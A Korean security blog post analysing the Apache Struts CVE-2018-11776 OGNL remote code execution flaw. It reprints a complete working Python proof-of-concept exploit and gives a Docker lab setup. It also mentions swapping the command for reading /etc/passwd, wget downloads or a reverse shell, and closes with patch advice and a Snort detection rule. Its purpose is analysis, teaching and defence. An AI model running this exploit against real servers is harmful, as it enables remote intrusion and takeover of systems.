1. Apache Struts
- Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크
2. CVE-2018-11776
- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.
- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.
취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16
조건
1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정)
2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음.
결과
웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음.
OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어
2.1) PoC 분석
#!/usr/bin/python
# -*- coding: utf-8 -*-
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
import sys
import urllib
import urllib2
import httplib
def exploit(host,cmd):
print "[Execute]: {}".format(cmd)
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"
if not ":" in host:
host = "{}:8080".format(host)
# encode the payload
ognl_payload_encoded = urllib.quote_plus(ognl_payload)
# further encoding
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))
print "[Url]: {}\n\n\n".format(url)
try:
request = urllib2.Request(url)
response = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
response = e.partial
print response
if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])
- 해당 PoC를 확인해보면 namespace를 지정하지 않고, allowStaticMethodAccess 값을 true로 지정
- iswin 변수로 운영체제 종류(Win or Linux)를 파악 후 cmd 변수(공격자가 입력한 명령)로 명령문을 완성 및 요청 전송
2.2) 취약점 실습
- 도커 이미지 다운로드 및 실행(도커 컨테이너는 8080포트, 호스트 시스템은 32773 포트 사용)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32773:8080 piesecurity/apache-struts2-cve-2017-5638
- 도커 내부 및 설정 파일 접근
$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
- <struts>에 매퍼 추가([캡쳐 2]) 및 <package name="default" extends="struts-default">에 리다이랙션([캡쳐 3]) 추가
- 컨테이너 재시작
$ exit
$ docker restart struts2\
- Apache Struts2 정상 동작 확인
- curl을 통해 OGNL 표현식 변환 확인 (${2+2} 인코딩 -> $%7b2%2b2%7d)
- ${2+2} 네임스페이스를 요청하였으나, Location 헤더가 /4/date.action으로 변경 되었고, OGNL 표현식이 실행되었음을 의미
- cmd(PoC에서 명령을 지정하는 매개변수)에 id 명령(사용자의 user, group 정보를 출력하는 명령)를 삽입 및 전송
- cmd 값을 id가 아닌 cat /etc/passwd, wget을 이용한 파일 다운로드, 리버스쉘 생성 등으로 조작 가능함
- [캡쳐 6]을 와이어샤크를 통해 확인하면 [캡쳐 7]과 같음
3. 대응방안
1. 취약점이 패치된 버전으로 업그레이드
- cleanupNamespaceName 메소드에 화이트리스트 기능을 추가하여 악의적인 코드를 OGNL 형식으로 주입되는것을 방지
2. 취약점 탐지 및 차단
- allowStaticMethodAccess 옵션을 활성화(true)하여 해당 취약점을 이용함.
- 해당 문자열을 토대로 패턴 생성 및 적용
alert tcp any any -> any any (msg:"Apache Struts2 RCE"; content:"allowStaticMethodAccess"; nocase; content:"true"; nocase;)
4. 참조
1. https://www.secjuice.com/apache-struts2-cve-2018-11776/
2. https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
3. https://koromoon.blogspot.com/2018/09/cve-2018-11776-apache-struts2-s2-057.html
'취약점 > RCE' 카테고리의 다른 글
자바 역직렬화 취약점 (0) | 2022.11.23 |
---|---|
Spring Cloud Function RCE (CVE-2022-22963) (0) | 2022.11.15 |
iControl REST unauthenticated RCE(CVE-2021-22986) (1) | 2022.09.25 |
vBulletin Pre-Auth RCE(CVE-2019-16759) (0) | 2022.09.20 |
Bash Shell Shock(CVE-2014-6271) (2) | 2022.09.13 |